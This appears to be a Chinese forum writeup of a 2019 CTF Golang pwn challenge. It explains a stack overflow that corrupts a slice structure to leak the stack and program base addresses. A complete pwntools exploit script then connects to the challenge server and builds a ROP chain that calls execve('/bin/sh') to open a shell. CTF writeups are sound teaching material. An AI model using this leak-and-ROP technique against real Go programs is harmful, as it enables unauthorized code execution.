首页
社区
课程
招聘
[原创] CTF2019Q1 第八题 挖宝 writeup
2019-3-22 16:14 3688

[原创] CTF2019Q1 第八题 挖宝 writeup

2019-3-22 16:14
3688

参考

google it: golang pwn

  1. BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
    得知:

    • golang 的 pwn 差不多都是栈溢出 rop
    • syscall_Syscall 是栈传参很容易利用
  2. Seccon2017 - Golang Overflow
    得知:

    • golang 的栈地址比较固定(0xC820000000)
    • 讲解了如何 pass runtime_slicebytetostring 函数

保护检测

RELRO STACK CANARY NX PIE FILE
Full RELRO Canary found NX enabled PIE enabled apwn
 

保护全开,google 上的参考还是固定基址比较好做

程序逻辑

使用 IDAGolangHelper 脚本,能够解析 golang 的函数名,比较好分析

  1. 输入名字(考点:大多数 pwn 题目,名字这个地方都是为了方便你以后填充数据用的)
  2. make(chan string, 5) ,这个chan 后面协程中用到
  3. go 了一个协程,这个协程会以很短间隔将 宝藏4 从你身边移动开,每移动一次,向上面的 chan 中输出一条字符串,由于没有地方读取这个 chan,所以随机移动 5次 后就会挂起
  4. 读取你的输入 w/s/a/d 对应移动(上下左右)
  5. 调用 walk 移动
  6. 地图是 6x6,当移动到 (5,0) (5,5) (0,5) 会获取到宝藏123,只有宝藏4是随机坐标,并且会逃跑5次,每得到宝藏后会让你输入 信息 并输出,且信息的缓存都只有 48字节,只是缓存的方式不一样

利用点

  1. 由于 golang 的题基本都是栈溢出,并且只有 宝藏4 用到了栈,再且 宝藏4 这么难拿,就是它了,先要玩游戏拿到 宝藏4
  2. 紧接的 runtime_slicebytetostring 函数可以用来输出 程序基址

泄露 程序基址

runtime_slicebytetostring 的 参数是 slice 结构

struct slice
{
  char *data;
  __int64 len;
  __int64 cap;
};

通过 gdb 尝试得到栈结构

 

A*192 | slice->data | slice->len | slice->cap | B*72 | ret

 

我们能够操纵 slice 的成员来打印任何地址,测试的时候发现 len 不能设置很大,所以代码分 2次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)

syscall 利用

linux 下 syscall 59 是 execve,构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)

代码

from pwn import *
import itertools

p = remote("211.159.175.39", 8787)
# p = process("./trepwn")

def move(xd, yd):
    if xd == 1:
        m = "d"
    elif xd == -1:
        m = "a"
    elif yd == 1:
        m = "w"
    elif yd == -1:
        m = "s"

    p.sendline(m)

    msg = p.recvuntil(">>")
    if "Treasure 4" in msg:
        return True
    elif "Treasure" in msg:
        # 跳过 宝藏123
        p.sendline("skip")
        p.recvuntil(">>")

    return False

def play():
    # 遍历地图
    steps = [(1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0),

        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0)]

    # 通过 cycle 无限遍历地图直到 宝藏4
    for xd, yd in itertools.cycle(steps):
        if move(xd, yd):
            break

# golang 的栈基址
_stack = 0xC820000000

# walk 的 4个 返回偏移,w/s/a/d 4处调用
_rets = [0xD7EE9, 0xd7f48, 0xD7FCF, 0xD8036]
# syscall 利用偏移
_syscall_Syscall = 0x186600

import sys

def main():
    p.sendlineafter("name :\n", "/bin/sh")
    p.recvuntil(">>")

    # 玩第一次 泄露 输入的名称
    play()

    # 尝试 0xA000 -> 0xC000 的范围
    p.sendline("A"*192 + p64(_stack + 0xA000) + p64(0x2000) + p64(0x2000))

    ret = p.recvuntil(">>")
    idx = ret.find("Your message: ")
    ret = ret[idx + len("Your message: "):]

    # _leak_name 为栈中地址
    idx_name = ret.index("/bin/sh\0")
    _leak_name = _stack + 0xA000 + idx_name
    print hex(_leak_name)

    # 玩第二次 泄露 返回地址
    play()

    # 尝试 0x41E00 -> 0x44E00
    p.sendline("A"*192 + p64(_stack + 0x41E00) + p64(0x3000) + p64(0x3000))

    ret = p.recvuntil(">>")
    idx = ret.find("Your message: ")
    ret = ret[idx + len("Your message: "):]

    idx_ret = ret.index("A"*192)
    idx_ret += 200 + 8 + 80 # 192 + 8*3 + 72

    # 返回地址
    addr_ret = u64(ret[idx_ret: idx_ret+8])
    print hex(addr_ret)

    # 返回地址有4种,通过后3字节不变的原则来确定基址
    for r in _rets:
        if r&0xFFF == addr_ret&0xfff:
            base = addr_ret - r
            break

    print hex(base)

    # 最后玩一次输入 rop
    play()

    # slice->len 为 0就能跳过 runtime_slicebytetostring
    p.sendline("A"*200 + p64(0) + "B"*80 + \
        p64(base + _syscall_Syscall) + p64(0) + p64(59) + p64(_leak_name) + p64(0) + p64(0))

    p.interactive()

main()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-3-22 16:14 被kkHAIKE编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回